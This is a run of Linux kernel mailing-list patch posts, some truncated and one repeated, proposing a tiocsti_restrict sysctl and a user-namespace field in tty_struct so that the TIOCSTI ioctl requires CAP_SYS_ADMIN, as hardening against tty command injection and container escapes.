+This toggle indicates whether unprivileged users are prevented
+from using the TIOCSTI ioctl to inject commands into other processes
+which share a tty session.
+
+When tiocsti_restrict is set to (0) there are no restrictions(accept
+the default restriction of only being able to injection commands into
+one's own tty). When tiocsti_restrict is set to (1), users must
+have CAP_SYS_ADMIN to use the TIOCSTI ioctl.
+
+When user namespaces are in use, the check for the capability
+CAP_SYS_ADMIN is done against the user namespace that originally
+opened the tty.
+
+The kernel config option CONFIG_SECURITY_TIOCSTI_RESTRICT sets the
+default value of tiocsti_restrict.
+
+==
+
 unknown_nmi_panic:
 
 The value in this file affects behavior of handling NMI. When the
diff --git a/drivers/tty/tty_io.c b/drivers/tty/tty_io.c
index c276814..fe68d14 100644
--- a/drivers/tty/tty_io.c
+++ b/drivers/tty/tty_io.c
@@ -2297,11 +2297,17 @@ static int tty_fasync(int fd, struct file *filp, int on)
  * FIXME: may race normal receive processing
  */
 
+int tiocsti_restrict = IS_ENABLED(CONFIG_SECURITY_TIOCSTI_RESTRICT);
+
 static int tiocsti(struct tty_struct *tty, char __user *p)
 {
char ch, mbz = 0;
struct tty_ldisc *ld;
 
+   if (tiocsti_restrict && !ns_capable(tty->owner_user_ns,CAP_SYS_ADMIN)) {
+   pr_warn_ratelimited("TIOCSTI ioctl call blocked for 
non-privileged process\n");
+   return -EPERM;
+   }
if ((current->signal->tty != tty) && !capable(CAP_SYS_ADMIN))
return -EPERM;
if (get_user(ch, p))
diff --git a/include/linux/tty.h b/include/linux/tty.h
index d902d42..2fd7f49 100644
--- a/include/linux/tty.h
+++ b/include/linux/tty.h
@@ -344,6 +344,8 @@ struct tty_file_private {
struct list_head list;
 };
 
+extern int tiocsti_restrict;
+
 /* tty magic number */
 #define TTY_MAGIC  0x5401
 
diff --git a/kernel/sysctl.c b/kernel/s

[PATCH v5 1/2] security: tty: Add owner user namespace to tty_struct

[Matt Brown]

This patch adds struct user_namespace *owner_user_ns to the tty_struct.
Then it is set to current_user_ns() in the alloc_tty_struct function.

This is done to facilitate capability checks against the original user
namespace that allocated the tty.

E.g. ns_capable(tty->owner_user_ns,CAP_SYS_ADMIN)

This combined with the use of user namespace's will allow hardening
protections to be built to mitigate container escapes that utilize TTY
ioctls such as TIOCSTI.

See: https://bugzilla.redhat.com/show_bug.cgi?id=1411256

Signed-off-by: Matt Brown 
---
 drivers/tty/tty_io.c | 2 ++
 include/linux/tty.h  | 2 ++
 2 files changed, 4 insertions(+)

diff --git a/drivers/tty/tty_io.c b/drivers/tty/tty_io.c
index e6d1a65..c276814 100644
--- a/drivers/tty/tty_io.c
+++ b/drivers/tty/tty_io.c
@@ -171,6 +171,7 @@ static void free_tty_struct(struct tty_struct *tty)
put_device(tty->dev);
kfree(tty->write_buf);
tty->magic = 0xDEADDEAD;
+   put_user_ns(tty->owner_user_ns);
kfree(tty);
 }
 
@@ -3191,6 +3192,7 @@ struct tty_struct *alloc_tty_struct(struct tty_driver 
*driver, int idx)
tty->index = idx;
tty_line_name(driver, idx, tty->name);
tty->dev = tty_get_device(tty);
+   tty->owner_user_ns = get_user_ns(current_user_ns());
 
return tty;
 }
diff --git a/include/linux/tty.h b/include/linux/tty.h
index 1017e904..d902d42 100644
--- a/include/linux/tty.h
+++ b/include/linux/tty.h
@@ -12,6 +12,7 @@
 #include 
 #include 
 #include 
+#include 
 
 
 /*
@@ -333,6 +334,7 @@ struct tty_struct {
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
+   struct user_namespace *owner_user_ns;
 };
 
 /* Each of a tty's open files has private_data pointing to tty_file_private */
-- 
2.10.2

[PATCH v5 0/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

This patchset introduces the tiocsti_restrict sysctl, whose default is
controlled via CONFIG_SECURITY_TIOCSTI_RESTRICT. When activated, this
control restricts all TIOCSTI ioctl calls from non CAP_SYS_ADMIN users.

This patch was inspired from GRKERNSEC_HARDEN_TTY.

This patch would have prevented
https://bugzilla.redhat.com/show_bug.cgi?id=1411256 under the following
conditions:
* non-privileged container
* container run inside new user namespace

Possible effects on userland:

There could be a few user programs that would be effected by this
change.
See: 
notable programs are: agetty, csh, xemacs and tcsh

However, I still believe that this change is worth it given that the
Kconfig defaults to n. This will be a feature that is turned on for the
same reason that people activate it when using grsecurity. Users of this
opt-in feature will realize that they are choosing security over some OS
features like unprivileged TIOCSTI ioctls, as should be clear in the
Kconfig help message.

Threat Model/Patch Rational:

>From grsecurity's config for GRKERNSEC_HARDEN_TTY.

 | There are very few legitimate uses for this functionality and it
 | has made vulnerabilities in several 'su'-like programs possible in
 | the past.  Even without these vulnerabilities, it provides an
 | attacker with an easy mechanism to move laterally among other
 | processes within the same user's compromised session.

So if one process within a tty session becomes compromised it can follow
that additional processes, that are thought to be in different security
boundaries, can be compromised as a result. When using a program like su
or sudo, these additional processes could be in a tty session where TTY file
descriptors are indeed shared over privilege boundaries.

This is also an excellent writeup about the issue:


When user namespaces are in use, the check for the capability
CAP_SYS_ADMIN is done against the user namespace that originally opened
the tty.

# Changes since v4:
* fixed typo

# Changes since v3:
* use get_user_ns and put_user_ns to take and drop references to the owner
  user namespace because CONFIG_USER_NS is an option

# Changes since v2:
* take/drop reference to user namespace on tty struct alloc/free to prevent
  use-after-free.

# Changes since v1:
* added owner_user_ns to tty_struct to enable capability checks against
  the namespace that created the tty.
* rewording in different places to make patchset purpose clear
* Added Documentation

[PATCH v5 0/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

This patchset introduces the tiocsti_restrict sysctl, whose default is
controlled via CONFIG_SECURITY_TIOCSTI_RESTRICT. When activated, this
control restricts all TIOCSTI ioctl calls from non CAP_SYS_ADMIN users.

This patch was inspired from GRKERNSEC_HARDEN_TTY.

This patch would have prevented
https://bugzilla.redhat.com/show_bug.cgi?id=1411256 under the following
conditions:
* non-privileged container
* container run inside new user namespace

Possible effects on userland:

There could be a few user programs that would be effected by this
change.
See: 
notable programs are: agetty, csh, xemacs and tcsh

However, I still believe that this change is worth it given that the
Kconfig defaults to n. This will be a feature that is turned on for the
same reason that people activate it when using grsecurity. Users of this
opt-in feature will realize that they are choosing security over some OS
features like unprivileged TIOCSTI ioctls, as should be clear in the
Kconfig help message.

Threat Model/Patch Rational:

>From grsecurity's config for GRKERNSEC_HARDEN_TTY.

 | There are very few legitimate uses for this functionality and it
 | has made vulnerabilities in several 'su'-like programs possible in
 | the past.  Even without these vulnerabilities, it provides an
 | attacker with an easy mechanism to move laterally among other
 | processes within the same user's compromised session.

So if one process within a tty session becomes compromised it can follow
that additional processes, that are thought to be in different security
boundaries, can be compromised as a result. When using a program like su
or sudo, these additional processes could be in a tty session where TTY file
descriptors are indeed shared over privilege boundaries.

This is also an excellent writeup about the issue:


When user namespaces are in use, the check for the capability
CAP_SYS_ADMIN is done against the user namespace that originally opened
the tty.

# Changes since v4:
* fixed typo

# Changes since v3:
* use get_user_ns and put_user_ns to take and drop references to the owner
  user namespace because CONFIG_USER_NS is an option

# Changes since v2:
* take/drop reference to user namespace on tty struct alloc/free to prevent
  use-after-free.

# Changes since v1:
* added owner_user_ns to tty_struct to enable capability checks against
  the namespace that created the tty.
* rewording in different places to make patchset purpose clear
* Added Documentation

[PATCH v4 2/2] tiocsti-restrict : make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

This introduces the tiocsti_restrict sysctl, whose default is controlled via
CONFIG_SECURITY_TIOCSTI_RESTRICT. When activated, this control restricts
all TIOCSTI ioctl calls from non CAP_SYS_ADMIN users.

This patch depends on patch 1/2

This patch was inspired from GRKERNSEC_HARDEN_TTY.

This patch would have prevented
https://bugzilla.redhat.com/show_bug.cgi?id=1411256 under the following
conditions:
* non-privileged container
* container run inside new user namespace

Possible effects on userland:

There could be a few user programs that would be effected by this
change.
See: <https://codesearch.debian.net/search?q=ioctl%5C%28.*TIOCSTI>
notable programs are: agetty, csh, xemacs and tcsh

However, I still believe that this change is worth it given that the
Kconfig defaults to n. This will be a feature that is turned on for the
same reason that people activate it when using grsecurity. Users of this
opt-in feature will realize that they are choosing security over some OS
features like unprivileged TIOCSTI ioctls, as should be clear in the
Kconfig help message.

Threat Model/Patch Rational:

>From grsecurity's config for GRKERNSEC_HARDEN_TTY.

 | There are very few legitimate uses for this functionality and it
 | has made vulnerabilities in several 'su'-like programs possible in
 | the past.  Even without these vulnerabilities, it provides an
 | attacker with an easy mechanism to move laterally among other
 | processes within the same user's compromised session.

So if one process within a tty session becomes compromised it can follow
that additional processes, that are thought to be in different security
boundaries, can be compromised as a result. When using a program like su
or sudo, these additional processes could be in a tty session where TTY file
descriptors are indeed shared over privilege boundaries.

This is also an excellent writeup about the issue:
<http://www.halfdog.net/Security/2012/TtyPushbackPrivilegeEscalation/>

When user namespaces are in use, the check for the capability
CAP_SYS_ADMIN is done against the user namespace that originally opened
the tty.

Signed-off-by: Matt Brown <m...@nmatt.com>
---
 Documentation/sysctl/kernel.txt | 21 +
 drivers/tty/tty_io.c|  6 ++
 include/linux/tty.h |  2 ++
 kernel/sysctl.c | 12 
 security/Kconfig| 13 +
 5 files changed, 54 insertions(+)

diff --git a/Documentation/sysctl/kernel.txt b/Documentation/sysctl/kernel.txt
index bac23c1..c15c660 100644
--- a/Documentation/sysctl/kernel.txt
+++ b/Documentation/sysctl/kernel.txt
@@ -89,6 +89,7 @@ show up in /proc/sys/kernel:
 - sysctl_writes_strict
 - tainted
 - threads-max
+- tiocsti_restrict
 - unknown_nmi_panic
 - watchdog
 - watchdog_thresh
@@ -987,6 +988,26 @@ available RAM pages threads-max is reduced accordingly.
 
 ==
 
+tiocsti_restrict:
+
+This toggle indicates whether unprivileged users are prevented
+from using the TIOCSTI ioctl to inject commands into otherprocesses
+which share a tty session.
+
+When tiocsti_restrict is set to (0) there are no restrictions(accept
+the default restriction of only being able to injection commands into
+one's own tty). When tiocsti_restrict is set to (1), users must
+have CAP_SYS_ADMIN to use the TIOCSTI ioctl.
+
+When user namespaces are in use, the check for the capability
+CAP_SYS_ADMIN is done against the user namespace that originally
+opened the tty.
+
+The kernel config option CONFIG_SECURITY_TIOCSTI_RESTRICT sets the
+default value of tiocsti_restrict.
+
+==
+
 unknown_nmi_panic:
 
 The value in this file affects behavior of handling NMI. When the
diff --git a/drivers/tty/tty_io.c b/drivers/tty/tty_io.c
index c276814..fe68d14 100644
--- a/drivers/tty/tty_io.c
+++ b/drivers/tty/tty_io.c
@@ -2297,11 +2297,17 @@ static int tty_fasync(int fd, struct file *filp, int on)
  * FIXME: may race normal receive processing
  */
 
+int tiocsti_restrict = IS_ENABLED(CONFIG_SECURITY_TIOCSTI_RESTRICT);
+
 static int tiocsti(struct tty_struct *tty, char __user *p)
 {
char ch, mbz = 0;
struct tty_ldisc *ld;
 
+   if (tiocsti_restrict && !ns_capable(tty->owner_user_ns,CAP_SYS_ADMIN)) {
+   pr_warn_ratelimited("TIOCSTI ioctl call blocked for 
non-privileged process\n");
+   return -EPERM;
+   }
if ((current->signal->tty != tty) && !capable(CAP_SYS_ADMIN))
return -EPERM;
if (get_user(ch, p))
diff --git a/include/linux/tty.h b/include/linux/tty.h
index d902d42..2fd7f49 100644
--- a/include/linux/tty.h
+++ b/include/linux/tty.h
@@ -344,6 +344,8 @@ struct tty_file_private {
struct list_head list;
 };
 
+extern int tiocsti_restrict;
+
 /* tty magic number */
 #define TTY_MAGIC  0x5401
 
diff --git a/

[PATCH v4 1/2] tiocsti-restrict : Add owner user namespace to tty_struct

[Matt Brown]

This patch adds struct user_namespace *owner_user_ns to the tty_struct.
Then it is set to current_user_ns() in the alloc_tty_struct function.

This is done to facilitate capability checks against the original user
namespace that allocated the tty.

E.g. ns_capable(tty->owner_user_ns,CAP_SYS_ADMIN)

This combined with the use of user namespace's will allow hardening
protections to be built to mitigate container escapes that utilize TTY
ioctls such as TIOCSTI.

See: https://bugzilla.redhat.com/show_bug.cgi?id=1411256

Signed-off-by: Matt Brown <m...@nmatt.com>
---
 drivers/tty/tty_io.c | 2 ++
 include/linux/tty.h  | 2 ++
 2 files changed, 4 insertions(+)

diff --git a/drivers/tty/tty_io.c b/drivers/tty/tty_io.c
index e6d1a65..c276814 100644
--- a/drivers/tty/tty_io.c
+++ b/drivers/tty/tty_io.c
@@ -171,6 +171,7 @@ static void free_tty_struct(struct tty_struct *tty)
put_device(tty->dev);
kfree(tty->write_buf);
tty->magic = 0xDEADDEAD;
+   put_user_ns(tty->owner_user_ns);
kfree(tty);
 }
 
@@ -3191,6 +3192,7 @@ struct tty_struct *alloc_tty_struct(struct tty_driver 
*driver, int idx)
tty->index = idx;
tty_line_name(driver, idx, tty->name);
tty->dev = tty_get_device(tty);
+   tty->owner_user_ns = get_user_ns(current_user_ns());
 
return tty;
 }
diff --git a/include/linux/tty.h b/include/linux/tty.h
index 1017e904..d902d42 100644
--- a/include/linux/tty.h
+++ b/include/linux/tty.h
@@ -12,6 +12,7 @@
 #include 
 #include 
 #include 
+#include 
 
 
 /*
@@ -333,6 +334,7 @@ struct tty_struct {
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
+   struct user_namespace *owner_user_ns;
 };
 
 /* Each of a tty's open files has private_data pointing to tty_file_private */
-- 
2.10.2